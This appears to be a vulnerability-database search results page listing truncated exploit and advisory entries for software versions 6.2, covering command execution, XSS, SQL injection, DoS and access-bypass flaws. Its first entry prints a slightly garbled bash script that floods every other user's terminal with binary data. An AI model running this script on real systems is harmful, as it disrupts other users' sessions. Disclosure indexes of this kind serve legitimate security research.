Redhat 6.1 / 6.2 TTY Flood Users Exploit

No description provided by source. !/bin/bash by teleh0r TTYDIR=/dev/pts NONSENSE=/bin/nice MYTTY=tty To prevent flooding of one's own TTY while /bin/true ; do for i in $TTYDIR/ ; do if -w $i -a -c $i -a $i != $MYTTY ; then cat $NONSENSE $i fi done done unset i milw0rm.com 2001-01-02...

Primo Interactive CMS - pcm.cgi Remote Command Execution

Primo Interactive CMS - pcm.cgi Remote Command Execution source: https://www.securityfocus.com/bid/66549/info Primo Interactive CMS is prone to a remote command-execution vulnerability because the application fails to sufficiently sanitize user-supplied input data. An attacker may leverage this...

Primo CMS 6.2 Remote Command Execution

Remote Comand Execution on Primo Content Management cms + Date: 29/03/2014 + Risk: High + Author: Felipe Andrian Peixoto + Contact: [email protected] + Vendor Homepage: http://www.primo-corp.com.my/ + Tested on Windows 7 and Linux + Vulnerable File: pcm.cgi + Version : Version 6.2 +...

Primo Interactive CMS - 'pcm.cgi' Remote Command Execution

source: https://www.securityfocus.com/bid/66549/info Primo Interactive CMS is prone to a remote command-execution vulnerability because the application fails to sufficiently sanitize user-supplied input data. An attacker may leverage this issue to execute arbitrary commands in the context of the...

innoEDIT 6.2 Remote Command Execution

Remote Comand Execution on innoEDIT + Date: 21/03/2014 + Risk: High + Author: Felipe Andrian Peixoto + Vendor Homepage : http://www.inno.com.mx/innoedit.htm + Contact: [email protected] + Tested on Windows 7 and Linux + Vulnerable File: innoedit.cgi + Version : Version 6.2 + Exploit:...

innoEDIT - 'innoedit.cgi' Remote Command Execution

source: https://www.securityfocus.com/bid/66367/info innoEDIT is prone to a remote command-execution vulnerability because the application fails to sufficiently sanitize user-supplied input data. An attacker may leverage this issue to execute arbitrary commands in the context of the affected...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in Content Editing Wizards in TYPO3 4.5.x before 4.5.32, 4.7.x before 4.7.17, 6.0.x before 6.0.12, 6.1.x before 6.1.7, and the development versions of 6.2 allow remote authenticated users to inject arbitrary web script or HTML via unspecified...

Design/Logic Flaw

IBM Maximo Asset Management 6.2 through 6.2.8, 7.1 before 7.1.1.12, and 7.5 before 7.5.0.5 allows remote attackers to bypass intended access restrictions via unspecified vectors...

Design/Logic Flaw

IBM Maximo Asset Management 6.2 through 6.2.8, 7.1 through 7.1.1.12, and 7.5 before 7.5.0.5 allows remote authenticated users to bypass intended access restrictions via unspecified vectors...

Blue Coat ProxySG Core File Information Disclosure

The remote Blue Coat ProxySG device's SGOS self-reported version is 6.1.x earlier than 6.1.5.1 or 6.2.x earlier than 6.2.2.1. It is, therefore, potentially affected by an information disclosure vulnerability. Exported core files are unencrypted, contain sensitive information and could be used to...

OpenSSH LoginGraceTime / MaxStartups DoS

According to its banner, a version of OpenSSH earlier than version 6.2 is listening on this port. The default configuration of OpenSSH installs before 6.2 could allow a remote attacker to bypass the LoginGraceTime and MaxStartups thresholds by periodically making a large number of new TCP...

EAServer <= 6.3.1 / 6.2 Multiple Vulnerabilities

Binary data 6935.prm...

HP/HPE System Management Homepage (SMH) Multiple Vulnerabilities (HPSBMA02566, HPSBMA02568)

HP/HPE System Management Homepage SMH is prone to multiple vulnerabilities. SPDX-FileCopyrightText: 2010 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE =...

ActiveBuyandSell 6.2 Blind SQL Injection

? ?????????????????????????In The Name Of Allah The Mercifull?????????????????????? ? Tybe: buyersend.asp catid Blind SQL Injection Vulnerability Vendor: :www.activewebsoftwares.com Software: ActiveBuyandSell v 6.2 author: R3d-D3v!L Date: 18.dec.2009 T!ME: 12:00 am ? Home: WwW.xP10.ME ? contact:...

ActiveBuyandSell v6.2 (buyersend.asp catid) Blind SQL Injection Vulnerability

No description provided by source. ? ?????????????????????????In The Name Of Allah The Mercifull?????????????????????? ? Tybe: buyersend.asp catid Blind SQL Injection Vulnerability Vendor: :www.activewebsoftwares.com Software: ActiveBuyandSell v 6.2 author: R3d-D3v!L Date: 18.dec.2009 T!ME: 12:00...

KLA10247 Vulnerability in MailMArshal SMTP

An unspecified vulnerability was found in MailMarshal SMTP. By exploiting this vulnerability malicious users can modify arbitrary account information. This vulnerability can be exploited remotely via a specially designed UserId variable. Original advisories - Related products M86-MailMarshal-SMTP...

SAP Internet Transaction Server 6.106.20 - Cross-Site Scripting

SAP Internet Transaction Server 6.106.20 - Cross-Site Scripting source: https://www.securityfocus.com/bid/20244/info SAP Internet Transaction Server ITS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue would allow...

[Full-disclosure] XSS in Sambar Server version 6.2

Sambar - AFFECTED PRODUCTS: ================== Sambar Server 6.2 http://www.sambar.com/ OVERVIEW: ========= Sambar is an all-in-one and fully functional Web, HTTP, HTTPS, Mail, IRC, Syslog, Proxy and FTP server. HISTORY: ======== 17th April 2005 - First discovered 17th April 2005 - Contacted...

AWStats configdir Remote Command Execution Exploit (c code)

No description provided by source. / AwStats exploit by Thunder, [email protected] This exploit makes use of the remote command execution bug discovered in AwStats ver 6.2 and below. The bug resides in the awstats.pl perl script. The script does not sanitise correctly the user input for the...

AWStats 6.2 6.1 - configdir Command Injection (Metasploit)

AWStats 6.2 6.1 - configdir Command Injection Metasploit $Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...